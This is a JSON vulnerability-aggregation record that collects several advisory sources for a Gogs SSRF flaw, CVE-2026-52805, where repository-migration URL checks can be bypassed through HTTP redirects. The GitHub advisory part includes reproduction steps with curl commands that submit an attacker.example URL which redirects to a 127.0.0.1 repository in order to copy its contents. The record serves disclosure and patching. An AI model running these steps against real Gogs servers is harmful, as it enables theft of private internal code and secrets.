{"id":"GHSA-g2f5-gjr4-qjvm","revision":null,"records":[{"revision":"7c8f95f88798442e93a27d5c9b126d4e","observedAt":"2026-11-03T23:57:16.858+00:00","statement":{"source":"cve-program","id":"CVE-2026-52805","aliases":[],"title":"Gogs: Migration Redirect Bypass Leads to Internal Repository Theft","description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, a Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository. This vulnerability is fixed in 0.14.3.","state":0,"publishedAt":"2026-06-24T20:22:15.052+00:00","modifiedAt":"2026-11-03T22:13:27.571+00:00","affected":[{"ecosystem":"Vendor product","name":"gogs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gogs\",\n                    \"product\": \"gogs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.14.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm","https://github.com/gogs/gogs/pull/8324","https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-52805","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-52805","identifiers":["CVE-2026-52805"]},"retained":false,"historicalAffected":[]},{"revision":"494f1ea9ca05418d8f06f7b5abc315e9","observedAt":"2026-11-23T16:30:14.366+00:00","statement":{"source":"euvd","id":"EUVD-2026-39074","aliases":["CVE-2026-52805","GHSA-g2f5-gjr4-qjvm"],"title":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, a Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but g…","description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, a Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository. This vulnerability is fixed in 0.14.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"severity":null}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm","https://github.com/gogs/gogs/pull/8324","https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-39074","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 24, 2026, 8:22:15 PM","dateUpdated":"Nov 3, 2026, 10:13:27 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-2013","title":"Gogs: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2022-1285","CVE-2024-39930","CVE-2024-39932","CVE-2024-39933","CVE-2025-64719","CVE-2026-25119","CVE-2026-26194","CVE-2026-47267","CVE-2026-52795","CVE-2026-52796","CVE-2026-52798","CVE-2026-52799","CVE-2026-52800","CVE-2026-52801","CVE-2026-52802","CVE-2026-52804","CVE-2026-52805","CVE-2026-52806","CVE-2026-52807","CVE-2026-52808","CVE-2026-52809","CVE-2026-52810","CVE-2026-52811","CVE-2026-52812","CVE-2026-52813","CVE-2026-52814","CVE-2026-52815","CVE-2026-52816"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-39074","identifiers":["EUVD-2026-39074","CVE-2026-52805","GHSA-g2f5-gjr4-qjvm"]},"retained":false,"historicalAffected":[]},{"revision":"269dadb3373441bb87f405281bed08ce","observedAt":"2026-11-04T16:56:00.286+00:00","statement":{"source":"nvd","id":"CVE-2026-52805","aliases":[],"title":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, a Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but g…","description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, a Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository. This vulnerability is fixed in 0.14.3.","state":0,"publishedAt":"2026-06-24T21:16:56.317+00:00","modifiedAt":"2026-11-03T23:17:47.53+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b","https://github.com/gogs/gogs/pull/8324","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52805","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-06-24T21:16:56.317","lastModified":"2026-11-03T23:17:47.530"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-52805","identifiers":["CVE-2026-52805"]},"retained":false,"historicalAffected":[]},{"revision":"be7b119f4cdb4abd90c682fe3f1763ab","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-g2f5-gjr4-qjvm","aliases":["CVE-2026-52805","GO-2026-5387"],"title":"Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft","description":"# Migration URL validation bypass via HTTP redirect to blocked internal endpoints\n\n## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository.\n\n## Vulnerability Details\n\nThe vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation:\n\n1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname).\n2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Git follows the redirect and clones the internal repository.\n4. Gogs imports the cloned contents into the attacker's new repository.\n\nThe root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.\n\n## Impact\n\nThis vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:\n\n- Steal source code and secrets from internal repositories served over HTTP.\n- Scan internal network services via the migration endpoint.\n\n## Reproduction Steps\n\nPrerequisites: a Gogs instance, an attacker account that can create repositories.\n\n1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`.\n2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Verify the direct localhost URL is blocked:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\"clone_addr\":\"http://127.0.0.1:18081/victim/private.git\",\"uid\":2,\"repo_name\":\"blocked\"}' \\\n  \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: rejected as blocked local address.\n\n4. Submit a public-looking URL that redirects to the blocked endpoint:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\"clone_addr\":\"http://attacker.example/redirect.git\",\"uid\":2,\"repo_name\":\"stolen\",\"private\":true}' \\\n  \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: migration succeeds. The new repository contains the internal repository's contents.","state":0,"publishedAt":"2026-06-23T17:01:35+00:00","modifiedAt":"2026-07-21T13:45:25.1541666+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.14.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm","https://nvd.nist.gov/vuln/detail/CVE-2026-52805","https://github.com/gogs/gogs/pull/8324","https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b","https://github.com/gogs/gogs","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://github.com/advisories/GHSA-g2f5-gjr4-qjvm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g2f5-gjr4-qjvm","identifiers":["GHSA-g2f5-gjr4-qjvm","CVE-2026-52805","GO-2026-5387"]},"retained":false,"historicalAffected":[]},{"revision":"04fba843c65c4ad6b685140ce46f14cb","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5387","aliases":["CVE-2026-52805","GHSA-g2f5-gjr4-qjvm"],"title":"Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft in gogs.io/gogs","description":"Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft in gogs.io/gogs.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: gogs.io/gogs before v0.14.3.","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-25T19:45:36.7418961+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm","https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b","https://github.com/gogs/gogs/pull/8324","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5387","license":"OSV · upstream source license applies","key":"osv:GO-2026-5387","identifiers":["GO-2026-5387","CVE-2026-52805","GHSA-g2f5-gjr4-qjvm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T11:25:35.5405878+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T11:25:35.5405878+00:00","lastSuccessAt":"2026-11-24T11:25:35.7075047+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.707505+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-6231a31653a43e57f005d532b3b61ff1da85288f32bbf39b75f07bda011db41a","complete":true,"records":431100,"lastAttemptAt":"2026-11-24T11:25:35.0471978+00:00","lastSuccessAt":"2026-11-24T11:25:34.9172836+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.0471978+00:00","snapshotPublishedAt":"2026-11-24T10:25:56+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d7c5d9b448144635bf3c41ecc488a309","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T11:35:58.3742494+00:00","lastSuccessAt":"2026-11-24T11:35:57.35+00:00","error":"535 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T11:35:57.35+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13258,"expectedIdentifiers":13982,"failedIdentifiers":535},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T11:25:35.5405878+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T11:25:35.5405878+00:00","lastSuccessAt":"2026-11-24T11:25:35.7082792+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.7082793+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-18a230aff64e42c7b71e8312589a3430","complete":false,"records":13947,"lastAttemptAt":"2026-11-24T11:25:55.2915098+00:00","lastSuccessAt":"2026-11-24T11:25:55.288+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:55.288+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13682,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T11:25:35.3898621+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.3898621+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T11:25:35.1158017+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.1158017+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3afd4dd07a6bf352a6a53c4438150c464a2527017b95ca94804134ea15f1eba9","complete":true,"records":3220,"lastAttemptAt":"2026-11-24T11:25:35.5015915+00:00","lastSuccessAt":"2026-11-24T10:25:37.8779609+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.5015915+00:00","snapshotPublishedAt":"2026-11-24T09:33:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-b3f815f4b80e6ee7009a469e05600427b49c4c540d96b9bae57af39cb7a4c7df","complete":true,"records":232959,"lastAttemptAt":"2026-11-24T11:25:35.2873819+00:00","lastSuccessAt":"2026-11-24T08:27:06.9384925+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.2873819+00:00","snapshotPublishedAt":"2026-11-24T07:33:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}